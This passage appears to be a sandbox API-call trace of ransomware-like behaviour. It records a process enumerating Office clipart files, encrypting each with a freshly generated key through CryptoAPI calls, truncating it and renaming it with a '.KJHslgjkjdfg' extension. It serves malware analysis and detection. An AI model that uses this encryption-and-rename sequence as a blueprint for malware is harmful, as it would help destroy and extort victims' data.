WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.990] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.990] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.990] GetProcessHeap () returned 0x2a0000 [0185.990] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.990] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.990] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.990] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.990] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.990] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.991] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.991] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.991] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1fc8, lpOverlapped=0x0) returned 1 [0185.991] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fd0) returned 1 [0185.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.992] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1fd0, lpOverlapped=0x0) returned 1 [0185.992] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.992] SetEndOfFile (hFile=0x114) returned 1 [0185.994] GetProcessHeap () returned 0x2a0000 [0185.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.995] GetProcessHeap () returned 0x2a0000 [0185.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.kjhslgjkjdfg")) returned 1 [0185.996] CloseHandle (hObject=0x114) returned 1 [0185.996] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1 [0185.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.997] GetProcessHeap () returned 0x2a0000 [0185.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.997] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.999] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.000] GetProcessHeap () returned 0x2a0000 [0186.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.000] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.000] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x28ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x28ec, lpOverlapped=0x0) returned 1 [0186.001] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28f0, dwBufLen=0x28f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28f0) returned 1 [0186.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.002] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x28f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x28f0, lpOverlapped=0x0) returned 1 [0186.002] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x29c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.002] SetEndOfFile (hFile=0x114) returned 1 [0186.004] GetProcessHeap () returned 0x2a0000 [0186.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.004] GetProcessHeap () returned 0x2a0000 [0186.004] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.kjhslgjkjdfg")) returned 1 [0186.006] CloseHandle (hObject=0x114) returned 1 [0186.006] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02417_.WMF", cAlternateFileName="")) returned 1 [0186.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.007] GetProcessHeap () returned 0x2a0000 [0186.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.007] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.007] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.010] GetProcessHeap () returned 0x2a0000 [0186.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.010] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.010] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.011] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.011] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb24, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb24, lpOverlapped=0x0) returned 1 [0186.011] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb30, dwBufLen=0xb30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb30) returned 1 [0186.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.011] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb30, lpOverlapped=0x0) returned 1 [0186.011] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.011] SetEndOfFile (hFile=0x114) returned 1 [0186.013] GetProcessHeap () returned 0x2a0000 [0186.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.013] GetProcessHeap () returned 0x2a0000 [0186.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.kjhslgjkjdfg")) returned 1 [0186.015] CloseHandle (hObject=0x114) returned 1 [0186.015] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02423_.WMF", cAlternateFileName="")) returned 1 [0186.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.016] GetProcessHeap () returned 0x2a0000 [0186.016] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.016] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.016] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.018] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.019] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.019] GetProcessHeap () returned 0x2a0000 [0186.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.019] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.019] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.019] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.019] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.019] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.019] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.019] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.019] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.019] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.019] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2fb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2fb8, lpOverlapped=0x0) returned 1 [0186.020] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2fc0, dwBufLen=0x2fc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2fc0) returned 1 [0186.020] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.021] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2fc0, lpOverlapped=0x0) returned 1 [0186.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.021] SetEndOfFile (hFile=0x114) returned 1 [0186.023] GetProcessHeap () returned 0x2a0000 [0186.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.023] GetProcessHeap () returned 0x2a0000 [0186.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.kjhslgjkjdfg")) returned 1 [0186.025] CloseHandle (hObject=0x114) returned 1 [0186.025] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1 [0186.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.027] GetProcessHeap () returned 0x2a0000 [0186.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.027] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.029] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.029] GetProcessHeap () returned 0x2a0000 [0186.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.029] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.029] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.029] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.030] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, 